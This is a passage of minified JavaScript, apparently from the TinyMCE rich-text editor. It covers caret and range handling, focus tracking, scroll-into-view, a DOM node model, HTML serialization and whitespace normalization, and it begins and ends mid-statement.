t=Ar.throttle(function(e){l.composing||o(e)});l.on("NodeChange ResizeEditor ResizeWindow ResizeContent drop",t),l.on("keyup compositionend",function(e){p&&"TABLE"===p.nodeName&&t(e)}),l.on("hide blur",H),l.on("contextmenu longpress",n,!0)}),l.on("remove",j),{isResizable:i,showResizeRect:z,hideResizeRect:H,updateResizeRect:o,destroy:function(){p=h=y=null}}}function Nf(e){return Yn(e)||Gn(e)}function Ef(t,n,r){var o,e,i,a,u,s=r;if(s.caretPositionFromPoint)(e=s.caretPositionFromPoint(t,n))&&((o=r.createRange()).setStart(e.offsetNode,e.offset),o.collapse(!0));else if(s.caretRangeFromPoint)o=s.caretRangeFromPoint(t,n);else if(s.body.createTextRange){o=s.body.createTextRange();try{o.moveToPoint(t,n),o.collapse(!0)}catch(e){o=function(e,n,t){var r,o=t.elementFromPoint(e,n),i=t.body.createTextRange();if(o&&"HTML"!==o.tagName||(o=t.body),i.moveToElementText(o),0<(r=(r=Nt.toArray(i.getClientRects())).sort(function(e,t){return(e=Math.abs(Math.max(e.top-n,e.bottom-n)))-Math.abs(Math.max(t.top-n,t.bottom-n))})).length){n=(r[0].bottom+r[0].top)/2;try{return i.moveToPoint(e,n),i.collapse(!0),i}catch(e){}}return null}(t,n,r)}return i=o,a=r.body,u=i&&i.parentElement?i.parentElement():null,Gn(function(e,t,n){for(;e&&e!==t;){if(n(e))return e;e=e.parentNode}return null}(u,a,Nf))?null:i}return o}function kf(e,t){return e&&t&&e.startContainer===t.startContainer&&e.startOffset===t.startOffset&&e.endContainer===t.endContainer&&e.endOffset===t.endOffset}function _f(e,t,n){return null!==function(e,t,n){for(;e&&e!==t;){if(n(e))return e;e=e.parentNode}return null}(e,t,n)}function Af(e){return e&&"TABLE"===e.nodeName}function Rf(e,t,n){for(var r=new Dr(t,e.getParent(t.parentNode,e.isBlock)||e.getRoot());t=r[n?"prev":"next"]();)if(Kn(t))return 1}function Df(e,t,n,r,o){var i,a,u=e.getRoot(),s=e.schema.getNonEmptyElements(),c=e.getParent(o.parentNode,e.isBlock)||u;if(r&&Kn(o)&&t&&e.isEmpty(c))return ve.some(cs(o.parentNode,e.nodeIndex(o)));for(var l,f,d=new Dr(o,c);a=d[r?"prev":"next"]();){if("false"===e.getContentEditableParent(a)||(f=u,Mr(l=a)&&!1===_f(l,f,Vc)))return ve.none();if(Vn(a)&&0<a.nodeValue.length)return!1===_f(a,u,function(e){return"A"===e.nodeName})?ve.some(cs(a,r?a.nodeValue.length:0)):ve.none();if(e.isBlock(a)||s[a.nodeName.toLowerCase()])return ve.none();i=a}return n&&i?ve.some(cs(i,0)):ve.none()}function Tf(e,t,n,r){var o,i=e.getRoot(),a=!1,u=r[(n?"start":"end")+"Container"],s=r[(n?"start":"end")+"Offset"],c=Hn(u)&&s===u.childNodes.length,l=e.schema.getNonEmptyElements(),f=n;if(Mr(u))return ve.none();if(Hn(u)&&s>u.childNodes.length-1&&(f=!1),$n(u)&&(u=i,s=0),u===i){if(f&&(d=u.childNodes[0<s?s-1:0])){if(Mr(d))return ve.none();if(l[d.nodeName]||Af(d))return ve.none()}if(u.hasChildNodes()){if(s=Math.min(!f&&0<s?s-1:s,u.childNodes.length-1),u=u.childNodes[s],s=Vn(u)&&c?u.data.length:0,!t&&u===i.lastChild&&Af(u))return ve.none();if(function(e,t){for(;t&&t!==e;){if(Gn(t))return 1;t=t.parentNode}}(i,u)||Mr(u))return ve.none();if(u.hasChildNodes()&&!1===Af(u)){var d=u,m=new Dr(u,i);do{if(Gn(d)||Mr(d)){a=!1;break}if(Vn(d)&&0<d.nodeValue.length){s=f?0:d.nodeValue.length,u=d,a=!0;break}if(l[d.nodeName.toLowerCase()]&&(!(o=d)||!/^(TD|TH|CAPTION)$/.test(o.nodeName))){s=e.nodeIndex(d),u=d.parentNode,f||s++,a=!0;break}}while(d=f?m.next():m.prev())}}}return t&&(Vn(u)&&0===s&&Df(e,c,t,!0,u).each(function(e){u=e.container(),s=e.offset(),a=!0}),Hn(u)&&(!(d=(d=u.childNodes[s])||u.childNodes[s-1])||!Kn(d)||d.previousSibling&&"A"===d.previousSibling.nodeName||Rf(e,d,!1)||Rf(e,d,!0)||Df(e,c,t,!0,d).each(function(e){u=e.container(),s=e.offset(),a=!0}))),f&&!t&&Vn(u)&&s===u.nodeValue.length&&Df(e,c,t,!1,u).each(function(e){u=e.container(),s=e.offset(),a=!0}),a?ve.some(cs(u,s)):ve.none()}function Of(e,t){var n=t.collapsed,r=t.cloneRange(),o=cs.fromRangeStart(t);return Tf(e,n,!0,r).each(function(e){n&&cs.isAbove(o,e)||r.setStart(e.container(),e.offset())}),n||Tf(e,n,!1,r).each(function(e){r.setEnd(e.container(),e.offset())}),n&&r.collapse(!0),kf(t,r)?ve.none():ve.some(r)}function Bf(e,t){return e.splitText(t)}function Pf(e){var t=e.startContainer,n=e.startOffset,r=e.endContainer,o=e.endOffset;return t===r&&Vn(t)?0<n&&n<t.nodeValue.length&&(t=(r=Bf(t,n)).previousSibling,n<o?(t=r=Bf(r,o-=n).previousSibling,o=r.nodeValue.length,n=0):o=0):(Vn(t)&&0<n&&n<t.nodeValue.length&&(t=Bf(t,n),n=0),Vn(r)&&0<o&&o<r.nodeValue.length&&(o=(r=Bf(r,o).previousSibling).nodeValue.length)),{startContainer:t,startOffset:n,endContainer:r,endOffset:o}}function Lf(n){return{walk:function(e,t){return _l(n,e,t)},split:Pf,normalize:function(t){return Of(n,t).fold(D,function(e){return t.setStart(e.startContainer,e.startOffset),t.setEnd(e.endContainer,e.endOffset),!0})}}}Hl.isBookmarkNode=Qc;var If={BACKSPACE:8,DELETE:46,DOWN:40,ENTER:13,ESC:27,LEFT:37,RIGHT:39,SPACEBAR:32,TAB:9,UP:38,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,modifierPressed:function(e){return e.shiftKey||e.ctrlKey||e.altKey||If.metaKeyPressed(e)},metaKeyPressed:function(e){return xt.mac?e.metaKey:e.ctrlKey&&!e.altKey}},Mf=Gn;Lf.compareRanges=kf,Lf.getCaretRangeFromPoint=Ef,Lf.getSelectedNode=Lu,Lf.getNode=Iu;var Ff,Uf,zf=(Ff="height",Uf=function(e){var t=e.dom;return Mn(e)?t.getBoundingClientRect().height:t.offsetHeight},{set:function(e,t){if(!N(t)&&!t.match(/^[0-9]+$/))throw new Error(Ff+".set accepts only positive integer values. Value was "+t);var n=e.dom;mn(n)&&(n.style[Ff]=t+"px")},get:Hf,getOuter:Hf,aggregate:jf,max:function(e,t,n){var r=jf(e,n);return r<t?t-r:0}});function Hf(e){var t=Uf(e);if(t<=0||null===t){var n=wn(e,Ff);return parseFloat(n)||0}return t}function jf(o,e){return L(e,function(e,t){var n=wn(o,t),r=void 0===n?0:parseInt(n,10);return isNaN(r)?e:e+r},0)}function Vf(e){return"textarea"===kt(e)}function qf(e,t){var n=function(e){var t=e.dom.ownerDocument,n=t.body,r=t.defaultView,o=t.documentElement;if(n===e.dom)return Un(n.offsetLeft,n.offsetTop);var i=Gt(null==r?void 0:r.pageYOffset,o.scrollTop),a=Gt(null==r?void 0:r.pageXOffset,o.scrollLeft),u=Gt(o.clientTop,n.clientTop),s=Gt(o.clientLeft,n.clientLeft);return zn(e).translate(a-s,i-u)}(e),r=zf.get(e);return{element:e,bottom:n.top+r,height:r,pos:n,cleanup:t}}function $f(n,r,o,i){Od(n,function(e,t){return Td(n,r,o,i)},o)}function Wf(e,t,n,r,o){var i={elm:r.element.dom,alignToTop:o};e.fire("ScrollIntoView",i).isDefaultPrevented()||(n(t,Jt(t).top,r,o),e.fire("AfterScrollIntoView",i))}function Kf(e,t,n,r){var o=Et.fromDom(e.getDoc());Wf(e,o,n,qf(Et.fromDom(t),te),r)}function Xf(e,t,n,r){var o,i=e.pos;n?Qt(i.left,i.top,r):(o=i.top-t+e.height,Qt(i.left,o,r))}function Yf(e,t,n,r,o){var i=n+t,a=r.pos.top,u=r.bottom,s=n<=u-a;a<t?Xf(r,n,!1!==o,e):i<a?Xf(r,n,s?!1!==o:!0===o,e):i<u&&!s&&Xf(r,n,!0===o,e)}function Gf(e,t,n,r){Yf(e,t,e.dom.defaultView.innerHeight,n,r)}function Jf(e,t,n,r){Yf(e,t,e.dom.defaultView.innerHeight,n,r);var o,i,a,u,s,c,l,f=(o=n.element,u=Jt(Et.fromDom(document)),a=(i=Dd).owner(o),s=Rd(i,a),c=zn(o),l=P(s,function(e,t){var n=zn(t);return{left:e.left+n.left,top:e.top+n.top}},{left:0,top:0}),Un(l.left+c.left+u.left,l.top+c.top+u.top)),d=tn(window);f.top<d.y?Zt(n.element,!1!==r):f.top>d.bottom&&Zt(n.element,!0===r)}function Qf(e,t,n){return $f(e,Gf,t,n)}function Zf(e,t,n){return Kf(e,t,Gf,n)}function ed(e,t,n){return $f(e,Jf,t,n)}function td(e,t,n){return Kf(e,t,Jf,n)}function nd(e,t,n){(e.inline?Qf:ed)(e,t,n)}function rd(e){var t=Pn(e).dom;return e.dom===t.activeElement}function od(e){return void 0===e&&(e=Et.fromDom(document)),ve.from(e.dom.activeElement).map(Et.fromDom)}function id(e,t){var n=An(t)?Ml(t).length:Tn(t).length+1;return n<e?n:e<0?0:e}function ad(e){return Id.range(e.start,id(e.soffset,e.start),e.finish,id(e.foffset,e.finish))}function ud(e,t){return!rn(t.dom)&&(Ve(e,t)||je(e,t))}function sd(t){return function(e){return ud(t,e.start)&&ud(t,e.finish)}}function cd(e){return!0===e.inline||Md.isIE()}function ld(e){return Id.range(Et.fromDom(e.startContainer),e.startOffset,Et.fromDom(e.endContainer),e.endOffset)}function fd(e){var t=document.createRange();try{return t.setStart(e.start.dom,e.soffset),t.setEnd(e.finish.dom,e.foffset),ve.some(t)}catch(e){return ve.none()}}function dd(e){var t,n,r=cd(e)?(t=Et.fromDom(e.getBody()),((n=Tt(t).dom.getSelection())&&0!==n.rangeCount?ve.from(n.getRangeAt(0)):ve.none()).map(ld).filter(sd(t))):ve.none();e.bookmark=r.isSome()?r:e.bookmark}function md(n){return(n.bookmark||ve.none()).bind(function(e){return t=Et.fromDom(n.getBody()),ve.from(e).filter(sd(t)).map(ad);var t}).bind(fd)}function gd(u){var s=mu(function(){dd(u)},0);u.on("init",function(){function e(){n.throttle()}var t,n,r,o,i,a;u.inline&&(t=u,n=s,eu.DOM.bind(document,"mouseup",e),t.on("remove",function(){eu.DOM.unbind(document,"mouseup",e)})),r=u,o=s,dt().browser.isIE()?(a=r).on("focusout",function(){dd(a)}):(i=o,r.on("mouseup touchend",function(e){i.throttle()})),r.on("keyup NodeChange",function(e){"nodechange"===e.type&&e.selectionChange||dd(r)})}),u.on("remove",function(){s.cancel()})}function pd(t,e){var n=t.getParam("custom_ui_selector","","string");return null!==Ud.getParent(e,function(e){return Fd.isEditorUIElement(e)||!!n&&t.dom.is(e,n)})}function hd(n,e){var t=e.editor;gd(t),t.on("focusin",function(){var e=n.focusedEditor;e!==t&&(e&&e.fire("blur",{focusedEditor:t}),n.setActive(t),(n.focusedEditor=t).fire("focus",{blurredEditor:e}),t.focus(!0))}),t.on("focusout",function(){Ar.setEditorTimeout(t,function(){var e=n.focusedEditor;pd(t,function(e){try{return od(Pn(Et.fromDom(e.getElement()))).fold(function(){return document.body},function(e){return e.dom})}catch(e){return document.body}}(t))||e!==t||(t.fire("blur",{focusedEditor:null}),n.focusedEditor=null)})}),Ad||(Ad=function(e){var t=n.activeEditor;t&&!function(e){if(Bn()&&V(e.target)){var t=Et.fromDom(e.target);if(_n(t)&&V(t.dom.shadowRoot)&&e.composed&&e.composedPath){var n=e.composedPath();if(n)return Q(n)}}return ve.from(e.target)}(e).each(function(e){e.ownerDocument===document&&(e===document.body||pd(t,e)||n.focusedEditor!==t||(t.fire("blur",{focusedEditor:null}),n.focusedEditor=null))})},Ud.bind(document,"focusin",Ad))}function vd(e,t){e.focusedEditor===t.editor&&(e.focusedEditor=null),e.activeEditor||(Ud.unbind(document,"focusin",Ad),Ad=null)}function bd(t,e){var n,r;n=Et.fromDom(t.getBody()),((r=e).collapsed?ve.from(Iu(r.startContainer,r.startOffset)).map(Et.fromDom):ve.none()).bind(function(e){return bo(e)?ve.some(e):!1===Ve(n,e)?ve.some(n):ve.none()}).bind(function(e){return rf(e.dom)}).fold(function(){t.selection.normalize()},function(e){return t.selection.setRng(e.toRange())})}function yd(t){if(t.setActive)try{t.setActive()}catch(e){t.focus()}else t.focus()}function Cd(e){return e.inline?(r=e.getBody())&&(rd(t=Et.fromDom(r))||od(Pn(n=t)).filter(function(e){return n.dom.contains(e.dom)}).isSome()):e.iframeElement&&rd(Et.fromDom(e.iframeElement));var t,n,r}function xd(e,t,n,r,o){var i=n?t.startContainer:t.endContainer,a=n?t.startOffset:t.endOffset;return ve.from(i).map(Et.fromDom).map(function(e){return r&&t.collapsed?e:Mt(e,o(e,a)).getOr(e)}).bind(function(e){return _n(e)?ve.some(e):Ot(e).filter(_n)}).map(function(e){return e.dom}).getOr(e)}function wd(e,t,n){return xd(e,t,!0,n,function(e,t){return Math.min(zt(e),t)})}function Sd(e,t,n){return xd(e,t,!1,n,function(e,t){return 0<t?t-1:t})}function Nd(e,t){for(var n=e;e&&Vn(e)&&0===e.length;)e=t?e.nextSibling:e.previousSibling;return e||n}function Ed(n,e){return A(e,function(e){var t=n.fire("GetSelectionRange",{range:e});return t.range!==e?t.range:e})}function kd(e,t,n){var r=n?"lastChild":"firstChild",o=n?"prev":"next";if(e[r])return e[r];if(e!==t){var i=e[o];if(i)return i;for(var a=e.parent;a&&a!==t;a=a.parent)if(i=a[o])return i}}function _d(e){var t="a"===e.name&&!e.attr("href")&&e.attr("id");return e.attr("name")||e.attr("id")&&!e.firstChild||e.attr("data-mce-bookmark")||t}var Ad,Rd=function(r,e){return r.view(e).fold(J([]),function(e){var t=r.owner(e),n=Rd(r,t);return[e].concat(n)})},Dd=Object.freeze({__proto__:null,view:function(e){var t;return(e.dom===document?ve.none():ve.from(null===(t=e.dom.defaultView)||void 0===t?void 0:t.frameElement)).map(Et.fromDom)},owner:Dt}),Td=function(e,t,n,r){var o=Et.fromDom(e.getBody()),i=Et.fromDom(e.getDoc());o.dom.offsetWidth;var a,u,s,c,l=(a=Et.fromDom(n.startContainer),u=n.startOffset,s=function(e,t){var n=Tn(e);if(0===n.length||Vf(e))return{element:e,offset:t};if(t<n.length&&!Vf(n[t]))return{element:n[t],offset:0};var r=n[n.length-1];return Vf(r)?{element:e,offset:t}:"img"===kt(r)?{element:r,offset:1}:An(r)?{element:r,offset:Ml(r).length}:{element:r,offset:Tn(r).length}}(a,u),c=Et.fromHtml('<span data-mce-bogus="all" style="display: inline-block;">\ufeff</span>'),qt(s.element,c),qf(c,function(){return In(c)}));Wf(e,i,t,l,r),l.cleanup()},Od=function(e,t,n){var r=n.startContainer,o=n.startOffset,i=n.endContainer,a=n.endOffset;t(Et.fromDom(r),Et.fromDom(i));var u=e.dom.createRng();u.setStart(r,o),u.setEnd(i,a),e.selection.setRng(n)},Bd=ir([{before:["element"]},{on:["element","offset"]},{after:["element"]}]),Pd=(Bd.before,Bd.on,Bd.after,function(e){return e.fold(u,u,u)}),Ld=ir([{domRange:["rng"]},{relative:["startSitu","finishSitu"]},{exact:["start","soffset","finish","foffset"]}]),Id={domRange:Ld.domRange,relative:Ld.relative,exact:Ld.exact,exactFromRange:function(e){return Ld.exact(e.start,e.soffset,e.finish,e.foffset)},getWin:function(e){return Tt(e.match({domRange:function(e){return Et.fromDom(e.startContainer)},relative:function(e,t){return Pd(e)},exact:function(e,t,n,r){return e}}))},range:function(e,t,n,r){return{start:e,soffset:t,finish:n,foffset:r}}},Md=dt().browser,Fd={isEditorUIElement:function(e){var t=e.className.toString();return-1!==t.indexOf("tox-")||-1!==t.indexOf("mce-")}},Ud=eu.DOM,zd=function(e){return e.editorManager.setActive(e)},Hd={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11},jd=(Vd.create=function(e,t){var n=new Vd(e,Hd[e]||1);return t&&ne(t,function(e,t){n.attr(t,e)}),n},Vd.prototype.replace=function(e){return e.parent&&e.remove(),this.insert(e,this),this.remove(),this},Vd.prototype.attr=function(e,t){var n,r=this;if("string"!=typeof e)return null!=e&&ne(e,function(e,t){r.attr(t,e)}),r;if(n=r.attributes){if(void 0===t)return n.map[e];if(null===t){if(e in n.map){delete n.map[e];for(var o=n.length;o--;)if(n[o].name===e)return n.splice(o,1),r}return r}if(e in n.map){for(o=n.length;o--;)if(n[o].name===e){n[o].value=t;break}}else n.push({name:e,value:t});return n.map[e]=t,r}},Vd.prototype.clone=function(){var e,t=new Vd(this.name,this.type);if(e=this.attributes){var n=[];n.map={};for(var r=0,o=e.length;r<o;r++){var i=e[r];"id"!==i.name&&(n[n.length]={name:i.name,value:i.value},n.map[i.name]=i.value)}t.attributes=n}return t.value=this.value,t.shortEnded=this.shortEnded,t},Vd.prototype.wrap=function(e){return this.parent.insert(e,this),e.append(this),this},Vd.prototype.unwrap=function(){for(var e=this.firstChild;e;){var t=e.next;this.insert(e,this,!0),e=t}this.remove()},Vd.prototype.remove=function(){var e=this.parent,t=this.next,n=this.prev;return e&&(e.firstChild===this?(e.firstChild=t)&&(t.prev=null):n.next=t,e.lastChild===this?(e.lastChild=n)&&(n.next=null):t.prev=n,this.parent=this.next=this.prev=null),this},Vd.prototype.append=function(e){e.parent&&e.remove();var t=this.lastChild;return t?((t.next=e).prev=t,this.lastChild=e):this.lastChild=this.firstChild=e,e.parent=this,e},Vd.prototype.insert=function(e,t,n){e.parent&&e.remove();var r=t.parent||this;return n?(t===r.firstChild?r.firstChild=e:t.prev.next=e,e.prev=t.prev,(e.next=t).prev=e):(t===r.lastChild?r.lastChild=e:t.next.prev=e,e.next=t.next,(e.prev=t).next=e),e.parent=r,e},Vd.prototype.getAll=function(e){for(var t=[],n=this.firstChild;n;n=kd(n,this))n.name===e&&t.push(n);return t},Vd.prototype.children=function(){for(var e=[],t=this.firstChild;t;t=t.next)e.push(t);return e},Vd.prototype.empty=function(){if(this.firstChild){for(var e=[],t=this.firstChild;t;t=kd(t,this))e.push(t);for(var n=e.length;n--;)(t=e[n]).parent=t.firstChild=t.lastChild=t.next=t.prev=null}return this.firstChild=this.lastChild=null,this},Vd.prototype.isEmpty=function(e,t,n){void 0===t&&(t={});var r=this.firstChild;if(_d(this))return!1;if(r)do{if(1===r.type){if(r.attr("data-mce-bogus"))continue;if(e[r.name])return!1;if(_d(r))return!1}if(8===r.type)return!1;if(3===r.type&&!function(e){if($r(e.value)){var t=e.parent;return!t||"span"===t.name&&!t.attr("style")||!/^[ ]+$/.test(e.value)}}(r))return!1;if(3===r.type&&r.parent&&t[r.parent.name]&&$r(r.value))return!1;if(n&&n(r))return!1}while(r=kd(r,this));return!0},Vd.prototype.walk=function(e){return kd(this,null,e)},Vd);function Vd(e,t){this.name=e,1===(this.type=t)&&(this.attributes=[],this.attributes.map={})}function qd(e){return X(e.nodeValue)&&Te(e.nodeValue,So)}function $d(e){return(0===e.length?"":A(e,function(e){return"["+e+"]"}).join(",")+",")+'[data-mce-bogus="all"]'}function Wd(e,t,n){return document.createTreeWalker(e,t,n,!1)}function Kd(e){return Wd(e,NodeFilter.SHOW_COMMENT,function(e){return qd(e)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP})}function Xd(e){return Wd(e,NodeFilter.SHOW_TEXT,function(e){if(qd(e)){var t=e.parentNode;return t&&Ee(om,t.nodeName)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}return NodeFilter.FILTER_SKIP})}function Yd(e){return null!==Kd(e).nextNode()}function Gd(e){return null!==Xd(e).nextNode()}function Jd(e,t){return null!==t.querySelector($d(e))}function Qd(n,e){Y(e.querySelectorAll($d(n)),function(e){var t=Et.fromDom(e);"all"===vn(t,"data-mce-bogus")?In(t):Y(n,function(e){yn(t,e)&&Cn(t,e)})})}function Zd(e){for(var t=e.nextNode();null!==t;)t.nodeValue=null,t=e.nextNode()}function em(r,e){var t=[{condition:R(Jd,e),action:R(Qd,e)},{condition:Yd,action:im},{condition:Gd,action:am}],o=r,i=!1;return Y(t,function(e){var t=e.condition,n=e.action;t(o)&&(i||(o=r.cloneNode(!0),i=!0),n(o))}),o}function tm(o){return{compare:function(e,t){return e.nodeName===t.nodeName&&!(!r(n(e),n(t))||!r(o.parseStyle(o.getAttrib(e,"style")),o.parseStyle(o.getAttrib(t,"style")))||Qc(e)||Qc(t));function n(n){var r={};return um(o.getAttribs(n),function(e){var t=e.nodeName.toLowerCase();0!==t.indexOf("_")&&"style"!==t&&0!==t.indexOf("data-")&&(r[t]=o.getAttrib(n,t))}),r}function r(e,t){var n,r;for(r in e)if(Ee(e,r)){if(void 0===(n=t[r]))return;if(e[r]!==n)return;delete t[r]}for(r in t)if(Ee(t,r))return;return 1}}}}function nm(e){var u=[],s=(e=e||{}).indent,c=sm(e.indent_before||""),l=sm(e.indent_after||""),f=Zo.getEncodeFunc(e.entity_encoding||"raw",e.entities),d="html"===e.element_format;return{start:function(e,t,n){var r,o,i,a;if(s&&c[e]&&0<u.length&&0<(a=u[u.length-1]).length&&"\n"!==a&&u.push("\n"),u.push("<",e),t)for(r=0,o=t.length;r<o;r++)i=t[r],u.push(" ",i.name,'="',f(i.value,!0),'"');u[u.length]=!n||d?">":" />",n&&s&&l[e]&&0<u.length&&0<(a=u[u.length-1]).length&&"\n"!==a&&u.push("\n")},end:function(e){var t;u.push("</",e,">"),s&&l[e]&&0<u.length&&0<(t=u[u.length-1]).length&&"\n"!==t&&u.push("\n")},text:function(e,t){0<e.length&&(u[u.length]=t?e:f(e))},cdata:function(e){u.push("<![CDATA[",e,"]]>")},comment:function(e){u.push("\x3c!--",e,"--\x3e")},pi:function(e,t){t?u.push("<?",e," ",f(t),"?>"):u.push("<?",e,"?>"),s&&u.push("\n")},doctype:function(e){u.push("<!DOCTYPE",e,">",s?"\n":"")},reset:function(){u.length=0},getContent:function(){return u.join("").replace(/\n$/,"")}}}function rm(t,g){void 0===g&&(g=oo());var p=nm(t);return(t=t||{}).validate=!("validate"in t)||t.validate,{serialize:function(e){var f=t.validate,d={3:function(e){p.text(e.value,e.raw)},8:function(e){p.comment(e.value)},7:function(e){p.pi(e.name,e.value)},10:function(e){p.doctype(e.value)},4:function(e){p.cdata(e.value)},11:function(e){if(e=e.firstChild)for(;m(e),e=e.next;);}};p.reset();var m=function(e){var t=d[e.type];if(t)t(e);else{var n=e.name,r=e.shortEnded,o=e.attributes;if(f&&o&&1<o.length){var i=[];i.map={};var a=g.getElementRule(e.name);if(a){for(var u=0,s=a.attributesOrder.length;u<s;u++)(c=a.attributesOrder[u])in o.map&&(l=o.map[c],i.map[c]=l,i.push({name:c,value:l}));for(var c,l,u=0,s=o.length;u<s;u++)(c=o[u].name)in i.map||(l=o.map[c],i.map[c]=l,i.push({name:c,value:l}));o=i}}if(p.start(e.name,o,r),!r){if(e=e.firstChild)for(;m(e),e=e.next;);p.end(n)}}};return 1!==e.type||t.inner?d[11](e):m(e),p.getContent()}}}var om=Nt.makeMap("NOSCRIPT STYLE SCRIPT XMP IFRAME NOEMBED NOFRAMES PLAINTEXT"," "),im=i(Zd,Kd),am=i(Zd,Xd),um=Nt.each,sm=Nt.makeMap,cm=new Set;function lm(e,t){return we(e.parseStyle(e.getAttrib(t,"style")))}function fm(n,r,o){return ve.from(o.container()).filter(Vn).exists(function(e){var t=n?0:-1;return r(e.data.charAt(o.offset()+t))})}function dm(e){var t=e.container();return Vn(t)&&(0===t.data.length||No(t.data)&&Hl.isBookmarkNode(t.parentNode))}function mm(t,n){return function(e){return ve.from(Zs(t?0:-1,e)).filter(n).isSome()}}function gm(e){return Xn(e)&&"block"===wn(Et.fromDom(e),"display")}function pm(e){return Gn(e)&&!(Hn(t=e)&&"all"===t.getAttribute("data-mce-bogus"));var t}function hm(e){Xt(e),Ln(e,Et.fromHtml('<br data-mce-bogus="1">'))}function vm(n){Ut(n).each(function(t){Bt(t).each(function(e){go(n)&&Pr(t)&&go(e)&&In(t)})})}function bm(e,t){return o=D,Ve(r=t,n=e)?function(e,t){for(var n=y(t)?t:D,r=e.dom,o=[];null!==r.parentNode&&void 0!==r.parentNode;){var i=r.parentNode,a=Et.fromDom(i);if(o.push(a),!0===n(a))break;r=i}return o}(n,function(e){return o(e)||je(e,r)}).slice(0,-1):[];var n,r,o}function ym(e,t){return[e].concat(bm(e,t))}function Cm(e,t,n){return ef(e,t,n,dm)}function xm(e,t){return M(ym(Et.fromDom(t.container()),e),go)}function wm(e,n,r){return Cm(e,n.dom,r).forall(function(t){return xm(n,r).fold(function(){return!1===Qs(t,r,n.dom)},function(e){return!1===Qs(t,r,n.dom)&&Ve(e,Et.fromDom(t.container()))})})}function Sm(t,n,r){return xm(n,r).fold(function(){return Cm(t,n.dom,r).forall(function(e){return!1===Qs(e,r,n.dom)})},function(e){return Cm(t,e.dom,r).isNone()})}function Nm(e){return ic(e).exists(Pr)}function Em(e,t,n){var r=Q(U(ym(Et.fromDom(n.container()),t),go)).getOr(t);return Zl(e,r.dom,n).filter(Nm)}function km(e,t){return ic(t).exists(Pr)||Em(!0,e,t).isSome()}function _m(e,t){return ve.from(t.getNode(!0)).map(Et.fromDom).exists(Pr)||Em(!1,e,t).isSome()}function Am(e){return cs.isTextPosition(e)&&!e.isAtStart()&&!e.isAtEnd()}function Rm(e,t){return Q(U(ym(Et.fromDom(t.container()),e),go)).getOr(e)}function Dm(e,t){return Am(t)?Gg(t):Gg(t)||nf(Rm(e,t).dom,t).exists(Gg)}function Tm(e,t){return Am(t)?Yg(t):Yg(t)||tf(Rm(e,t).dom,t).exists(Yg)}function Om(e){return ic(e).bind(function(e){return hr(e,_n)}).exists(function(e){return T(["pre","pre-wrap"],wn(e,"white-space"))})}function Bm(e,t){return!Om(t)&&(ip(e,t)||up(e,t)||_m(e,t)||Dm(e,t))}function Pm(e,t){return!Om(t)&&(ap(e,t)||sp(e,t)||km(e,t)||Tm(e,t))}function Lm(e,t){return Bm(e,t)||Pm(e,(r=(n=t).container(),o=n.offset(),Vn(r)&&o<r.data.length?cs(r,o+1):n));var n,r,o}function Im(e,t){return sf(e.charAt(t))}function Mm(e){var t=e.container();return Vn(t)&&Te(t.data,wo)}function Fm(g,e){return ve.some(e).filter(Mm).bind(function(e){var t,n,r,o,i,a,u,s,c,l=e.container(),f=g,d=(i=l).data,m=cs(i,0);return(!Im(d,0)||Lm(f,m)?(s=(a=l).data,(c=A(u=s.split(""),function(e,t){return sf(e)&&0<t&&t<u.length-1&&el(u[t-1])&&el(u[t+1])?" ":e}).join(""))!==s&&(a.data=c,1)):(i.data=" "+d.slice(1),1))||(t=g,r=(n=l).data,o=cs(n,r.length-1),Im(r,r.length-1)&&!Lm(t,o)&&(n.data=r.slice(0,-1)+" ",1))?ve.some(e):ve.none()})}function Um(t){var e=Et.fromDom(t.getBody());t.selection.isCollapsed()&&Fm(e,cs.fromRangeStart(t.selection.getRng())).each(function(e){t.selection.setRng(e.toRange())})}function zm(e,t,n){var r,o,i,a,u,s,c,l;0!==n&&(o=pr(r=Et.fromDom(e),go).getOr(r),i=e.data.slice(t,t+n),a=t+n>=e.data.length&&Pm(o,cs(e,e.data.length)),u=0===t&&Bm(o,cs(e,0)),e.replaceData(t,n,(c=u,l=a,L(s=i,function(e,t){return Zc(t)||sf(t)?e.previousCharIsSpace||""===e.str&&c||e.str.length===s.length-1&&l?{previousCharIsSpace:!1,str:e.str+wo}:{previousCharIsSpace:!0,str:e.str+" "}:{previousCharIsSpace:!1,str:e.str+t}},{previousCharIsSpace:!1,str:""}).str)))}function Hm(e,t){var n=e.data.slice(t);zm(e,t,n.length-Qe(n).length)}function jm(e,t){var n=e.data.slice(0,t),r=n.length-Ze(n).length;zm(e,t-r,r)}function Vm(e,t,n,r){void 0===r&&(r=!0);var o=Ze(e.data).length,i=r?e:t,a=r?t:e;return r?i.appendData(a.data):i.insertData(0,a.data),In(Et.fromDom(a)),n&&Hm(i,o),i}function qm(e,t){return r=e,o=(n=t).container(),i=n.offset(),!1===cs.isTextPosition(n)&&o===r.parentNode&&i>cs.before(r).offset()?cs(t.container(),t.offset()-1):t;var n,r,o,i}function $m(e){return Vr(e.previousSibling)?ve.some((t=e.previousSibling,Vn(t)?cs(t,t.data.length):cs.after(t))):e.previousSibling?of(e.previousSibling):ve.none();var t}function Wm(e){return Vr(e.nextSibling)?ve.some((t=e.nextSibling,Vn(t)?cs(t,0):cs.before(t))):e.nextSibling?rf(e.nextSibling):ve.none();var t}function Km(r,o){return $m(o).orThunk(function(){return Wm(o)}).orThunk(function(){return e=r,n=cs.before((t=o).previousSibling||t.parentNode),nf(e,n).fold(function(){return tf(e,cs.after(t))},ve.some);var e,t,n})}function Xm(n,r){return Wm(r).orThunk(function(){return $m(r)}).orThunk(function(){return tf(e=n,cs.after(t=r)).fold(function(){return nf(e,cs.before(t))},ve.some);var e,t})}function Ym(t,n,e){e.fold(function(){t.focus()},function(e){t.selection.setRng(e.toRange(),n)})}function Gm(e,t){return t&&Ee(e.schema.getBlockElements(),kt(t))}function Jm(e){if(Kr(e)){var t=Et.fromHtml('<br data-mce-bogus="1">');return Xt(e),Ln(e,t),ve.some(cs.before(t.dom))}return ve.none()}function Qm(t,n,e,r){void 0===r&&(r=!0);var o,i,a,u,s,c,l,f,d,m,g,p,h,v,b=(p=n,h=t.getBody(),v=e.dom,(p?Xm:Km)(h,v).map(R(qm,v))),y=pr(e,R(Gm,t),(o=t.getBody(),function(e){return 